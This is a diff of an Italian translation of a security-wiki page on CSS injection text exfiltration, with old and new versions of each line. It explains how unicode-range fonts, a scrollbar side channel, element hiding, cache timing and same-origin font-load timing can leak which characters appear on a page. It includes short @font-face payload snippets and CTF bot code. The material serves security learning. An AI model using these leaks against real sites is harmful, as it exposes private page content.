Durante questa transizione, viene impiegato il **unicode-range trick** per identificare ogni nuovo carattere mentre si unisce al prefisso. Questo viene ottenuto cambiando il font in Comic Sans, che è notevolmente più alto rispetto al font di default, causando di conseguenza la comparsa di una scrollbar verticale. La comparsa di questa scrollbar rivela indirettamente la presenza di un nuovo carattere nel prefisso.
|
||||
|
||||
Sebbene questo metodo consenta la rilevazione di caratteri unici man mano che appaiono, non specifica quale carattere è ripetuto, solo che è avvenuta una ripetizione.
|
||||
|
||||
> [!NOTE]
|
||||
> Fondamentalmente, il **unicode-range viene utilizzato per rilevare un carattere**, ma poiché non vogliamo caricare un font esterno, dobbiamo trovare un altro modo.\
|
||||
> Quando il **carattere** è **trovato**, gli viene **assegnato** il **font Comic Sans** preinstallato, che **rende** il carattere **più grande** e **attiva una barra di scorrimento** che **rivelerà il carattere trovato**.
|
||||
> [!TIP]
|
||||
> In pratica, la **unicode-range** viene usata per rilevare un **char**, ma siccome non vogliamo caricare un font esterno dobbiamo trovare un altro modo.\
|
||||
> Quando il **char** viene **trovato**, gli viene assegnato il pre-installato **Comic Sans font**, che rende il **char** più grande e scatena una **scroll bar** che farà **leak** del char trovato.
|
||||
|
||||
Controlla il codice estratto dal PoC:
|
||||
```css
|
||||
@ -708,15 +742,15 @@ background: blue var(--leak);
|
||||
```
|
||||
### Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Reference:** Questo è menzionato come [una soluzione non riuscita in questo writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**Riferimento:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
Questo caso è molto simile al precedente, tuttavia, in questo caso l'obiettivo di rendere specifici **chars più grandi di altri è nascondere qualcosa** come un pulsante da non premere da parte del bot o un'immagine che non verrà caricata. Quindi potremmo misurare l'azione (o la mancanza di azione) e sapere se un char specifico è presente all'interno del testo.
|
||||
Questo caso è molto simile a quello precedente; tuttavia, in questo scenario l'obiettivo del rendere specifici **caratteri più grandi di altri è nascondere qualcosa** (ad esempio un pulsante che non deve essere premuto dal bot o un'immagine che non deve essere caricata). Quindi potremmo misurare l'azione (o la sua assenza) e sapere se un carattere specifico è presente nel testo.
|
||||
|
||||
### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Reference:** Questo è menzionato come [una soluzione non riuscita in questo writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**Riferimento:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
In questo caso, potremmo provare a leakare se un char è nel testo caricando un font falso dalla stessa origine:
|
||||
In questo caso, potremmo provare a effettuare una leak per determinare se un carattere è presente nel testo, caricando un fake font dalla stessa origine:
|
||||
```css
|
||||
@font-face {
|
||||
font-family: "A1";
|
||||
@ -724,15 +758,15 @@ src: url(/static/bootstrap.min.css?q=1);
|
||||
unicode-range: U+0041;
|
||||
}
|
||||
```
|
||||
Se c'è una corrispondenza, il **font verrà caricato da `/static/bootstrap.min.css?q=1`**. Anche se non verrà caricato con successo, il **browser dovrebbe memorizzarlo nella cache**, e anche se non c'è cache, c'è un meccanismo di **304 not modified**, quindi la **risposta dovrebbe essere più veloce** rispetto ad altre cose.
|
||||
Se c'è una corrispondenza, il **font verrà caricato da `/static/bootstrap.min.css?q=1`**. Anche se non si caricherà correttamente, il **browser dovrebbe metterlo in cache**, e anche se non c'è cache, esiste il meccanismo **304 not modified**, quindi la **risposta dovrebbe essere più veloce** rispetto ad altre risorse.
|
||||
|
||||
Tuttavia, se la differenza di tempo della risposta memorizzata nella cache rispetto a quella non memorizzata non è abbastanza grande, questo non sarà utile. Ad esempio, l'autore ha menzionato: Tuttavia, dopo aver testato, ho scoperto che il primo problema è che la velocità non è molto diversa, e il secondo problema è che il bot utilizza il flag `disk-cache-size=1`, il che è davvero pensato.
|
||||
Tuttavia, se la differenza di tempo tra la risposta cached e quella non cached non è sufficientemente grande, questo non sarà utile. Per esempio, l'autore ha menzionato: "Ad ogni modo, dopo i test ho scoperto che il primo problema è che la velocità non è molto diversa, e il secondo problema è che il bot usa il flag `disk-cache-size=1`, il che è davvero premuroso."
|
||||
|
||||
### Estrazione del nodo di testo (III): perdita del charset caricando centinaia di "font" locali (senza richiedere risorse esterne) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Riferimento:** Questo è menzionato come [una soluzione non riuscita in questo writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**Riferimento:** Questo è menzionato come [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
In questo caso puoi indicare **CSS per caricare centinaia di font falsi** dalla stessa origine quando si verifica una corrispondenza. In questo modo puoi **misurare il tempo** che ci vuole e scoprire se un carattere appare o meno con qualcosa come:
|
||||
In questo caso puoi indicare **CSS per caricare centinaia di font finti** dalla stessa origine quando si verifica una corrispondenza. In questo modo puoi **misurare il tempo** impiegato e scoprire se un char appare o meno con qualcosa del tipo:
|
||||
```css
|
||||
@font-face {
|
||||
font-family: "A1";
|
||||
@ -741,13 +775,13 @@ src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
|
||||
unicode-range: U+0041;
|
||||
}
|
||||
```
|
||||
E il codice del bot appare così:
|
||||
E il codice del bot è il seguente:
|
||||
```python
|
||||
browser.get(url)
|
||||
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
|
||||
time.sleep(30)
|
||||
```
|
||||
Quindi, se il font non corrisponde, il tempo di risposta quando si visita il bot dovrebbe essere di circa 30 secondi. Tuttavia, se c'è una corrispondenza del font, verranno inviati più richieste per recuperare il font, causando un'attività continua nella rete. Di conseguenza, ci vorrà più tempo per soddisfare la condizione di arresto e ricevere la risposta. Pertanto, il tempo di risposta può essere utilizzato come indicatore per determinare se c'è una corrispondenza del font.
|
||||
Quindi, se il font non corrisponde, il tempo di risposta quando si visita il bot è previsto intorno ai 30 secondi. Tuttavia, se c'è una corrispondenza del font, verranno inviate più richieste per recuperare il font, causando un'attività di rete continua. Di conseguenza, ci vorrà più tempo per soddisfare la condizione di stop e ricevere la risposta. Pertanto, il tempo di risposta può essere usato come indicatore per determinare se c'è una corrispondenza del font.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
@ -755,5 +789,11 @@ Quindi, se il font non corrisponde, il tempo di risposta quando si visita il bot
|
||||
- [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
|
||||
- [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
|
||||
- [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
|
||||
- [Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)](https://portswigger.net/research/inline-style-exfiltration)
|
||||
- [InlineStyleAttributeStealer.bambda (Burp Custom Action)](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda)
|
||||
- [PoC page for inline-style exfiltration](https://portswigger-labs.net/inline-style-exfiltration-ff1072wu/test.php)
|
||||
- [MDN: CSS if() conditional](https://developer.mozilla.org/en-US/docs/Web/CSS/if)
|
||||
- [MDN: CSS attr() function](https://developer.mozilla.org/en-US/docs/Web/CSS/attr)
|
||||
- [MDN: image-set()](https://developer.mozilla.org/en-US/docs/Web/CSS/image/image-set)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user